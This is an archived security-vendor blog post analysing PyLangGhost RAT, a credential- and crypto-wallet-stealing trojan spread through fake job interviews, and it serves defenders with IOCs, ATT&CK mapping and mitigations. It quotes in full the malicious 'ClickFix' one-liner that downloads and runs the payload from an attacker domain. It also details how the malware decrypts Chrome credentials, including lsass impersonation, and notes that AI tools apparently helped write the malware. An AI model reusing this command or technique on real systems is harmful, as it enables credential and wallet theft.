PyLangGhost RAT: Rising Stealer from Lazarus Group Striking Finance and Technology - ANY.RUN's Cybersecurity Blog

By Mauro Eldritch

Archived: 2026-04-05 16:04:33 UTC

Editor's note: ***The current article is authored by Mauro Eldritch, offensive security expert and threat intelligence analyst. You can find Mauro on X.***

North Korean state-sponsored groups, such as Lazarus, continue to target the financial and cryptocurrency sectors with a variety of custom malware families. In previous research, we examined strains like InvisibleFerret, Beavertail, and OtterCookie, often deployed through fake developer job interviews or staged business calls with executives. While these have been the usual suspects, a newer Lazarus subgroup, **Famous Chollima**, has recently introduced a fresh threat: **PyLangGhost RAT**, a Python-based evolution of GoLangGhostRAT.

Unlike common malware that spreads through pirated software or infected USB drives, PyLangGhost RAT is delivered via highly targeted social engineering campaigns aimed at the technology, finance, and crypto industries, with developers and executives as prime victims. In these attacks, adversaries stage fake job interviews and trick their targets into believing that their browser is blocking access to the camera or microphone. The "solution" they offer is to run a script that supposedly grants permission. In reality, the script hands over full remote access to a North Korean operator.

This sample was obtained from fellow researcher Heiner García Pérez of BlockOSINT, who encountered it during a fake job recruitment attempt and documented his findings in an advisory.

Let's break it down.

A fake interview process. Source: BlockOSINT

Key Takeaways

- **Attribution:** PyLangGhost RAT is linked to the North Korean Lazarus subgroup *Famous Chollima*, known for using highly targeted and creative intrusion methods.

- **Delivery Method:** Distributed through “ClickFix” social engineering, where victims are tricked into running malicious commands to supposedly fix a fake camera or microphone error during staged job interviews.
- **Core Components:** The malware’s main loader (nvidia.py) relies on multiple modules (config.py, api.py, command.py, util.py, auto.py) for persistence, C2 communication, command execution, data compression, and credential theft.
- **Credential & Wallet Theft:** Targets browser-stored credentials and cryptocurrency wallet data from extensions like MetaMask, BitKeep, Coinbase Wallet, and Phantom, using privilege escalation and Chrome encryption key decryption (including bypasses for Chrome v20+).
- **C2 Communication:** Communicates over raw IP addresses with no TLS, using weak RC4/MD5 encryption, but remains stealthy with very low initial detection rates (0–3 detections on VirusTotal).
- **Detection & Analysis:** Identified as 100/100 malicious by ANY.RUN, with telltale signs including the default python-requests User-Agent and multiple rapid requests to C2 infrastructure.
- **Code Origin:** Appears to be a full Python reimplementation of GoLangGhost RAT, likely aided by AI, as indicated by Go-like logic patterns, unusual code structure, and large commented-out sections.

The Fake Job Offer Trap

In the past, DPRK operators have resorted to creative methods to distribute malware, from staging fake job interviews and sharing bogus coding challenges (some laced with malware, others seemingly clean but invoking malicious dependencies at runtime), to posing as VCs in business calls, pretending not to hear the victim, and prompting them to download a fake Zoom fix or update.

This case is a bit different. It falls into a newer category of attacks called **“ClickFix”** — scenarios where the attacker, or one of their websites, presents the victim with fake CAPTCHAs or error messages that prevent them from completing an interview or coding challenge. The proposed fix is deceptively simple: copy a command shown on the website and paste it into a terminal or the Windows Run window (Win + R) to “solve the issue.” By doing so, users end up executing malicious scripts with their own privileges, or even worse, as Administrator, essentially handing control of the system to a Chollima operator.

A fake “Race Condition” Error, prompting the user to run a command. Source: BlockOSINT

In this case, the researcher received a fake job offer to work at the Aave DeFi Protocol. After a brief screening with a few generic questions, he was redirected to a page that began flooding him with notifications about an error dubbed **“Race Condition in Windows Camera Discovery Cache.”**

Luckily, the website offered a quick fix for this “problem”: just run a small code snippet in the terminal.

But what does this code actually do? Let’s find out.

Chollimas & Pythons

Let’s analyze the command:

curl -k -o “%TEMP%\nvidiaRelease.zip” https://360scanner.store/cam-v-b74si.fix && powershell -Command “Expand-Archive -Force -Path ‘%TEMP%\nvidiaRelease.zip’

-DestinationPath ‘%TEMP%\nvidiaRelease'” && wscript “%TEMP%

\nvidiaRelease\update.vbs”

This line:

- Downloads a ZIP file from 360scanner[.]store using curl.
- Extracts it to the %TEMP%\nvidiaRelease directory using PowerShell’s Expand- Archive.
- Executes a VBScript named update.vbs via wscript.

update.vbs contents

Now let's look at what this script actually does:

Inside update.vbs

It silently decompresses Lib.zip to the same directory, using tar, and waits for the extraction to finish, hiding any windows during the process.

Then, it runs csshost.exe nvidia.py. The filename csshost.exe is mildly obfuscated by being split in two parts ("css" & "host.exe") before execution.

Disguised Python Environment

But what is csshost.exe?

It's actually a renamed python.exe binary. Nothing more. No packing, no exotic tricks; just Python, rebranded.

The Lib.zip file is a clean Python environment bundled with standard libraries, containing nothing malicious or unusual.

Lib.zip contents, clean

A Decoy and Its Real Payload

Funny enough, if you try to download the same file manually with a different User- Agent, the server returns a legitimate driver instead — a clever decoy tactic.

On the other hand, nvidia.py imports three additional components: api.py, config.py, and command.py. The last one, in turn, also uses util.py and auto.py.

Core Modules and Their Roles

Let’s break down the 3 modules, starting with config.py.

This file defines a set of constants used throughout the malware lifecycle, including message types, command codes, and operational parameters.

Here’s a quick reference of the command dictionary defined in config.py:

Code	Function
qwer	Get system information
asdf	Upload a file
zxcv	Download a file
vbcx	Open a terminal session
qalp	Detach terminal (background)
ghd	Wait
89io	Gather Chrome extension data
gi%#	Exfiltrate Chrome cookie store
kyci	Exfiltrate Chrome keychain
dghh	Exit the implant

Command dictionary on config.py

Immediately after that, a C2 server based in the United Kingdom is declared (some sources indicate “Private Client – Iran”), along with a registry key used for persistence, and a list of Chrome extensions targeted for exfiltration, including MetaMask, BitKeep, Coinbase Wallet, and Phantom.

Extensions list, C2 server and persistence key

Coming up next, **api.py** manages communication with the C2 server we just saw on config.py. There are three main functions:

1. Packet0623make, which resorts to RC4 cipher to encrypt data in transmission, builds a packet and computes a checksum. RC4 is obsolete and weak but simple, which may explain why that choice.
2. Packet0623decode, which validates the checksum and decrypts the packet.
3. Htxp0623Exchange, which simply posts the packet to the server without TLS encryption, thus making the RC4 and MD5 cocktail an even weaker choice.

Package building using RC4

Now **command.py** acts as a dispatcher, interpreting both malware logic and C2 communications, and executing instructions accordingly. It also handles status messages defined in the config.py module we examined earlier.

The key functions are:

Function	**Description**
ProcessInfo	Collects the current user, hostname, OS, architecture, and the malware (daemon) version.
ProcessUpload	Allows the attacker to upload compressed files to the victim’s machine.
ProcessDownload	Stages files or folders for exfiltration. If the target is a folder, it gets compressed before transmission.
ProcessTerminal	Opens a reverse shell or executes arbitrary commands, depending on the mode selected.
makeMsg0623 / decodeMsg0623	Serialize and deserialize base64-encoded messages exchanged between implant and C2.
ProcessAuto:	Triggers automation routines from the auto.py module

Function to open a reverse shell or run arbitrary commands

You probably remember that command.py imports two other custom modules: **util.py and auto.py**. Let's review them as well.

Module util.py implements three functions:

Function	**Description**
com0715press	Compresses files in-memory as .tar.gz
decom0715press	Extracts .tar.gz files from memory to disk
valid0715relPath	Validates routes to prevent path transversal

Auxiliary functions from util.py

Finally, the last and most critical module: **auto.py**.

This module implements two key functions:

- **AutoGatherMode:** Collects configuration data from cryptocurrency browser extensions such as MetaMask, BitKeep, Coinbase Wallet, and Phantom.
- **AutoCookieMode:** Extracts login artifacts, including credentials and cookies, from Google Chrome.

The autoGatherMode function searches for the user's Google Chrome profile directory (AppData\Local\Google\Chrome\User Data), starting with the **Default** profile and then enumerating others. It compresses the configuration directories of the targeted extensions into a single archive named gather.tar.gz and exfiltrates it for manual analysis, with the goal of enabling account takeover or compromising cryptocurrency wallets.

Exfiltrating Google Chrome Profiles in a compressed file

With the rise of information-stealing malware, browser vendors have introduced various countermeasures to protect sensitive data such as password managers, cookies, and encrypted storage vaults. Chrome is no exception. To bypass these protections, the malware includes functions designed to check whether the user has administrative privileges and to retrieve Chrome's encryption key through different methods, depending on the browser version, as the protection mechanisms vary.

The **autoCookieMode** function, on the other hand, starts by checking if the user has administrative privileges. If not, it relaunches itself using runas, triggering a UAC (User Access Control) prompt. The prompt is intentionally deceptive, it simply displays "python.exe" as the requesting binary, providing no additional context or visual indicators. This subtle form of social engineering increases the likelihood of the user granting permission.

If the prompt is accepted, the malware gains elevated privileges, which are necessary to interact with privileged APIs such as the **Data Protection API (DPAPI)** used to retrieve Chrome's encryption keys. If the user declines, the malware continues execution with the current user's privileges.

Malicious UAC prompt

It then creates a file named chrome_logins_dump.txt to store the extracted credentials. To do so, it accesses Chrome's Local State file, which contains either an encrypted_key (in v10) or an app_bound_encrypted_key (in v20+). These keys are not stored in plaintext but encoded in Base64 and encrypted using Windows DPAPI. While they are accessible to the current user, they require decryption before use.

Google Chrome Keys Harvesting

In Chrome v10, the encryption key is protected solely by the user's DPAPI context and can be decrypted directly. In Chrome v20 and later, the key is **app-bound** and encrypted twice — first with the machine's DPAPI context, and then again with the user's. To bypass this layered protection, the malware impersonates the lsass.exe process to temporarily gain **SYSTEM** privileges.

Impersonating lsass.exe

It then applies both layers of decryption, yielding a key blob which, once parsed, reveals the AES master key used to decrypt Chrome’s stored credentials.

Once the key is obtained by either method, the malware connects to the Login Data SQLite database and extracts all stored credentials, applying the corresponding decryption logic for v10 or v20 entries depending on the case.

Credentials dumped by the process

At this point, it’s game over for the victim.

With the module functionality now understood, the next step is to examine the malware's core component: **nvidia.py**. Before diving in, here's a summary of the auxiliary functions contained in this module.

- check_adminRole: Checks if the current process has administrative privileges using IsUserAnAdmin().
- GetSecretKey: Extracts and decrypts the AES key used by Chrome (v10) from the Local State file using DPAPI.
- DecryPayload: Decrypts a payload using a given cipher.
- GenCipher: Constructs an AES-GCM cipher object using a given key and IV.
- DecryPwd: Decrypts v10-style Chrome passwords using AES-GCM and the secret key obtained via DPAPI.
- impersonate_lsass: Context manager that impersonates the lsass.exe process to gain SYSTEM privileges.
- parse_key_blob: Parses Chrome's v20 encrypted key blob structure to extract the IV, ciphertext, tag, and (if present) encrypted AES key.
- decrypt_with_cng: Decrypts data using the Windows CNG API and a hardcoded key name ("Google Chromekey1").
- byte_xor: Performs XOR between two byte arrays (used to unmask AES key in v20 key blobs).
- derive_v20_master_key: Decrypts and derives the AES master key from parsed v20 Chrome blobs, supporting multiple encryption flags (AES, ChaCha20, masked AES).

From Recon to Full Control

Now, to the core component: **nvidia.py**.

This module begins by registering a registry key to establish persistence, assigning a unique identifier (UUID) to the host, and creating a pseudo–mutex-like mechanism via a .store file to prevent multiple instances from running simultaneously. It then enters a loop, continuously listening for new instructions from the C2 server. Additionally, it supports standalone execution with specific command-line arguments, enabling it to immediately perform actions such as stealing cookies or login data.

Analysis in **ANY.RUN** shows that all communication with the C2 servers is carried out over raw IP addresses, with no domain names used. While the traffic is not encrypted with TLS, it is at least obfuscated using RC4; a weak method, but still an added layer of concealment.

View real case inside ANY.RUN sandbox

Traffic to the C2 Server

The sandbox quickly flags the traffic as suspicious. Because the malware uses the default python-requests User-Agent and sends multiple rapid requests, this pattern becomes a reliable detection indicator.

Traffic is automatically marked as suspicious

Another key observation: most of the malware artifacts used in this campaign register only 0 to 3 detections on VirusTotal, making them particularly stealthy. Fortunately, **ANY.RUN** immediately identifies these samples as 100/100 malicious, starting with the initial update.vbs loader.

update.vbs loader marked as malicious

Other components, including nvidia.py, the main launcher, are also flagged instantly with a 100/100 score, providing early warning against this evolving threat.

nvidia.py loader marked as malicious

New malware, you say? Let’s take a closer look.

Gophers, Ghosts & AI

A variant of this sample was recently observed by other security laboratories, which noted strong similarities to **GoLangGhost RAT**. In fact, this appears to be a full reimplementation of that RAT in Python, but with a notable twist.

Analysis revealed numerous linguistic patterns and unusual coding constructions, including dead code, large commented-out sections, and Go-style logic structures, suggesting that the port from Go to Python was at least partially assisted by AI tools.

Ghosts, Gophers, Pythons, and AI, all converging in a single malware family.

Let’s go to the ATT&CK Matrix now, which ANY.RUN does automatically.

PylangGhost RAT ATT&CK Details

PylangGhost RAT shares several tactics, techniques, and procedures (TTPs) with its related families, **OtterCookie**, **InvisibleFerret**, and **BeaverTail** but also introduces some new ones:

T1036	Masquerading	Renames legitimate binaries such as python.exe to csshost.exe.
T1059	Command and Scripting Interpreter	Initiates execution by using wscript.exe to run update.vbs and csshost.exe to launch the nvidia.py loader.
T1083	Files and Directory Discovery	Enumerates user profiles and browser extensions.
T1012	Query Registry	Gains persistence via registry entries created by the update.vbs script.

MITRE ATT&CK Matrix

Business Impact of PyLangGhost RAT

PyLangGhost RAT poses a significant risk to organizations in the technology, finance, and cryptocurrency sectors, with potential consequences including:

- **Financial losses:** Compromised cryptocurrency wallets and stolen credentials can lead directly to asset theft and fraudulent transactions.
- **Data breaches:** Exfiltration of sensitive corporate data, browser-stored credentials, and internal documents can expose intellectual property, customer information, and strategic plans.
- **Operational disruption:** Persistent remote access allows attackers to move laterally, deploy additional payloads, and disrupt business-critical systems.
- **Reputational damage:** Public disclosure of a breach tied to a high-profile state-sponsored group can undermine client trust and brand credibility.
- **Regulatory consequences:** Data theft incidents may trigger compliance violations (e.g., GDPR, CCPA, financial regulations) resulting in legal penalties and reporting obligations.

Given its low detection rate and targeted social engineering approach, PyLangGhost RAT enables attackers to operate inside a network for extended periods before discovery, increasing both the scope and cost of an incident.

How to Fight Against PyLangGhost RAT

Defending against PyLangGhost RAT requires a combination of proactive detection, security awareness, and layered defenses:

- **Use behavior-based analysis:** Solutions like **ANY.RUN's Interactive Sandbox** can detect PyLangGhost RAT in minutes by exposing its execution chain, raw IP C2 connections, and credential theft activity.
- **Validate unexpected commands:** Educate employees to never run commands or scripts provided during job interviews or online "technical tests" without verification from security teams.
- **Restrict administrative privileges:** Limit the ability for standard users to run processes with elevated rights, reducing the malware's ability to retrieve encrypted browser keys.
- **Monitor for anomalous network traffic:** Look for unusual outbound connections to raw IPs or rapid repeated HTTP requests from unexpected processes.
- **Harden browser data security:** Apply policies to clear cookies and credentials regularly, disable unneeded browser extensions, and enforce hardware-backed encryption where available.
- **Incident response readiness:** Maintain a process for rapid sandbox testing of suspicious files or scripts to shorten investigation times and reduce business impact.

Spot Similar Threats Early, Minimizing Business Risk

When facing dangerous malware like PyLangGhost RAT, **speed of detection** is important. Every minute an attacker remains undetected increases the chances of stolen data, financial loss, and operational disruption.

ANY.RUN's Interactive Sandbox helps organizations identify and analyze threats like PyLangGhost RAT within minutes, combining real-time execution tracking with behavior-based detection to uncover even low-detection or newly emerging malware.

- **Rapid incident response:** Detect threats early to stop lateral movement, data exfiltration, and further compromise.
- **Lower investigation costs:** Automated analysis delivers verdicts quickly, reducing the time and resources needed for manual investigation.
- **Faster, smarter decisions:** Clear visualized execution flows help security teams assess impact and choose the right containment measures.
- **Increased SOC efficiency:** Streamlines detection, analysis, and reporting in one workflow, eliminating unnecessary manual steps.
- **Proactive threat hunting:** Flags stealthy or low-signature artifacts, enabling defenders to identify and block similar threats before they spread.

Early detection for business means lower risk, reduced costs, and stronger resilience against advanced cyberattacks.

Try ANY.RUN to see how it can strengthen your proactive defense

Gathered IOCs

Domain: 360scanner[.]store

IPv4: 13[.]107.246[.]45

IPv4: 151[.]243.101[.]229

URL: https[:]//360scanner[.]store/cam-v-b74si.fix

URL: http[:]//151[.]243[.]101[.]229[:]8080/

SHA256 (auto.py.bin) = bb794019f8a63966e4a16063dc785fafe8a5f7c7553bcd3da661c7054c6674c7

SHA256 (command.py.bin) = c4fd45bb8c33a5b0fa5189306eb65fa3db53a53c1092078ec62f3fc19bc05dcb

SHA256 (config.py.bin) = c7ecf8be40c1e9a9a8c3d148eb2ae2c0c64119ab46f51f603a00b812a7be3b45

SHA256 (nvidia.py.bin) = a179caf1b7d293f7c14021b80deecd2b42bbd409e052da767e0d383f71625940

SHA256 (util.py.bin) = ef04a839f60911a5df2408aebd6d9af432229d95b4814132ee589f178005c72f

FileName: chrome_logins_dump.txt FileName: gather.tar.gz Mutex:.store

Further Reading

https://otx.alienvault.com/pulse/688186afb933279c4be00337

https://app.any.run/tasks/275e3573-0b3e-4e77-afaf-fe99b935c510

https://www.virustotal.com/gui/file/a179caf1b7d293f7c14021b80deecd2b42bbd409e052da767e0d383f71625940/detection

https://www.virustotal.com/gui/file/c7ecf8be40c1e9a9a8c3d148eb2ae2c0c64119ab46f51f603a00b812a7be3b45?nocache=1

https://www.virustotal.com/gui/file/c4fd45bb8c33a5b0fa5189306eb65fa3db53a53c1092078ec62f3fc19bc05dcb/community

Mauro Eldritch

Mauro Eldritch is an Argentinian-Uruguayan hacker, founder of BCA LTD and DC5411 (Argentina / Uruguay). He has spoken at various events, including DEF CON (12 times). He is passionate about Threat Intelligence and Biohacking. He currently leads Bitso’s Quetzal Team, the first in Latin America dedicated to Web3 Threat Research.

Follow Mauro on:
X
LinkedIn
GitHub

Mauro Eldritch is an Argentinian-Uruguayan hacker, founder of BCA LTD and DC5411 (Argentina / Uruguay). He has spoken at various events, including DEF CON (12 times). He is passionate about Threat Intelligence and Biohacking. He currently leads Bitso’s Quetzal Team, the first in Latin America dedicated to Web3 Threat Research.

Follow Mauro on:
X
LinkedIn
GitHub
